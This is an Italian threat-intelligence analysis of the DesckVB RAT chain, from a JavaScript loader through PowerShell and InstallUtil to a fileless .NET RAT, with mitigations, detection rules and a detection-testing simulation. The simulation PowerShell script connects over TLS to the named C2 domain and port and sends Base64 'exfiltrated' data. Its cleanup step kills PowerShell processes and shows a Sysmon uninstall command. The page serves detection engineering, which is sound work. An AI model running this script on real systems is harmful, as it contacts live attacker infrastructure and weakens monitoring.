SOC Prime Bias: Medio

09 Apr 2026 17:59

Analisi di DesckVB RAT: Dal Loader JavaScript al RAT Fileless .NET

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Analisi di DesckVB RAT: Dal Loader JavaScript al RAT Fileless .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

DesckVB RAT è un trojan basato su JavaScript che si concatena a un loader PowerShell per recuperare ed eseguire una DLL .NET senza file direttamente in memoria. Per nascondere l’esecuzione, il loader si basa sulla codifica Base64 e sull’offuscamento tramite inversione delle stringhe, sfrutta InstallUtil.exe come LOLBin e avvia un nuovo processo utilizzando CreateProcessA. Una volta attivo, il RAT stabilisce comunicazioni C2 crittografate HTTPS e supporta moduli per keylogging, accesso alla webcam e rilevamento di software anti-AV.

Investigazione

L’analisi indica che la fase iniziale in JavaScript scrive uno script PowerShell in C:UsersPublic, poi raggiunge un dominio offuscato per scaricare un assembly .NET (ad esempio, ClassLibrary3.dll). L’assembly carica DLL di supporto, crea un processo sospeso e inietta codice di payload mentre riporta dettagli di configurazione come un dominio e una porta secondari maligni. La telemetria di rete conferma comunicazioni crittografate TLS dall’host infetto all’infrastruttura C2 dell’attaccante.

Mitigazione

Bloccare l’esecuzione di script PowerShell non fidati o non firmati e limitare l’uso di InstallUtil.exe per flussi di lavoro non amministrativi o non previsti. Applicare controlli rigorosi sull’uscita, inclusa l’ispezione HTTPS dove possibile e il filtraggio della reputazione del dominio per un’infrastruttura maligna identificata. Sui endpoint, rilevare l’uso di CreateProcessA con flag di processo sospeso e avvisare sui modelli di caricamento di assembly .NET in memoria coerenti con l’iniezione senza file.

Risposta

Se vengono rilevati indicatori, isolare l’endpoint, interrompere la catena di processi maligni e acquisire dump della memoria per l’analisi degli assembly e delle regioni iniettati nella memoria. Rimuovere gli artefatti PowerShell eliminati da C:UsersPublic ed eradicare eventuali DLL correlate o resti del loader. Resettare le credenziali compromesse, ruotare i segreti esposti e revisionare i log del firewall/proxy per le connessioni in uscita ai domini e alle porte elencate.

"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Tool</b> – <b>Name</b>: Caricatore JavaScript Obfuscato<br/><b>Technique</b>: T1027.006 Smuggling HTML<br/><b>Technique</b>: T1027.008 Payload Strip<br/><b>Description</b>: Usa Base64 e inversione delle stringhe per nascondere comandi"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: Script PowerShell lkpzw_01.ps1<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Esegue con criterio di esecuzione bypassato"] class powershell_script tool dotnet_assembly["<b>File</b>: Assembly .NET Maligno"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technique</b>: T1218.004 Esecuzione Proxy di Sistema Binario<br/><b>Description</b>: Esegue la DLL .NET tramite binario di sistema fidato"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technique</b>: T1620 Caricamento Riflettente di Codice<br/><b>Description</b>: Carica assembly direttamente in memoria usando riflessione"] class dotnet_reflection malware process_hollow["<b>Azione</b> – <b>Tecnica</b>: T1055.012 Hollowing del Processo<br/><b>Description</b>: Crea un processo sospeso e inietta codice maligno"] class process_hollow action thread_hijack["<b>Azione</b> – <b>Tecnica</b>: T1055.003 Hijacking dell’Esecuzione del Thread<br/><b>Description</b>: Dirotta l’esecuzione del thread all’interno del processo target"] class thread_hijack action dll_hijack["<b>Azione</b> – <b>Tecnica</b>: T1574.001 Flusso di Esecuzione DLL Hijack<br/><b>Description</b>: Carica DLL aggiuntive in memoria per estendere la funzionalità"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technique</b>: T1056.001 Keylogging<br/><b>Description</b>: Rilascia keylogger e altri moduli"] class keylogger_module malware c2_https["<b>Azione</b> – <b>Tecnica</b>: T1071.001 Protocolli Web<br/><b>Description</b>: Comunica su HTTPS miscelandosi con il traffico legittimo"] class c2_https action %% Connections loader_js –>|scrive ed esegue| powershell_script powershell_script –>|scarica assembly| dotnet_assembly dotnet_assembly –>|eseguito tramite| installutil_execution installutil_execution –>|carica con riflessione| dotnet_reflection dotnet_reflection –>|crea processo sospeso| process_hollow process_hollow –>|usa hijacking del thread| thread_hijack thread_hijack –>|carica DLL aggiuntive| dll_hijack dll_hijack –>|abilita| keylogger_module keylogger_module –>|comunica con C2| c2_https "

Flusso di Attacco

Rilevamenti

Esecuzione di File PowerShell in Directory Sospette Utilizzando Politica di Esecuzione Bypass (via cmdline)

Squadra SOC Prime
08 Apr 2026

LOLBAS WScript / CScript (via creazione_processi)

Squadra SOC Prime
08 Apr 2026

Stringhe PowerShell Sospette (via powershell)

Squadra SOC Prime
08 Apr 2026

Richiama Classi/Metodi .NET Sospetti dalla CommandLine di PowerShell (via creazione_processi)

Squadra SOC Prime
08 Apr 2026

File Sospetti nel Profilo Utente Pubblico (via evento_file)

Squadra SOC Prime
08 Apr 2026

Esecuzione Sospetta dal Profilo Utente Pubblico (via creazione_processi)

Squadra SOC Prime
08 Apr 2026

IOC (SourceIP) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File

Regole AI SOC Prime
08 Apr 2026

IOC (HashMd5) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File

Regole AI SOC Prime
08 Apr 2026

IOC (HashSha256) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File

Regole AI SOC Prime
08 Apr 2026

IOC (DestinationIP) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File

Regole AI SOC Prime
08 Apr 2026

Rilevamento della Comunicazione C2 di DesckVB RAT [Connessione Rete Windows]

Regole AI SOC Prime
08 Apr 2026

Rilevamento dell’Esecuzione PowerShell e InstallUtil di DesckVB RAT [PowerShell di Windows]

Regole AI SOC Prime
08 Apr 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa & Comandi dell’Attacco:
    L’attaccante, ottenuto il primo accesso, lancia un payload basato su PowerShell “living‑off‑the‑land” che apre una connessione TCP avvolta da TLS al dominio C2 hard-coded manikandan83.mysynology.net sulla porta 7535. Il payload codifica un blocchetto di dati dummy con Base64 (illustrando T1132.002) e lo trasmette sul canale TLS. Poiché vengono utilizzate le classi .NET di PowerShell, nessun binario esterno viene scritto su disco, rispecchiando la natura senza file di DesckVB RAT. La connessione è stabilita da un sottoprocesso (powershell.exe) che sarà catturato da Sysmon come evento di connessione di rete con il dominio, la porta e il flag di handshake TLS esatti che la regola monitora.

  • Script di Test di Regressione:

    # --------------------------------------------------------------
    # Simulazione di Comunicazione C2 di DesckVB RAT (PowerShell)
    # --------------------------------------------------------------
    # Parametri
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Payload dummy (codificato Base64) – rappresenta dati esfiltrati
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # Stabilire connessione TCP
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Avvolgere con TLS (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] Handshake TLS completato con $c2Domain:$c2Port"
    
        # Invia prefisso lunghezza payload (4-byte big-endian) poi dati
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Payload inviato (lunghezza Base64 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] Connessione fallita: $_"
    } finally {
        # Spegnimento pulito
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] Connessione terminata."
    }
  • Comandi di Pulizia:

    # Assicurarsi che eventuali connessioni PowerShell NetTCP persistenti siano chiuse
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Opzionale: Rimuovere Sysmon (se questo è un ambiente di test occasionale)
    # & "$env:ProgramFilesSysmonSysmon.exe" -u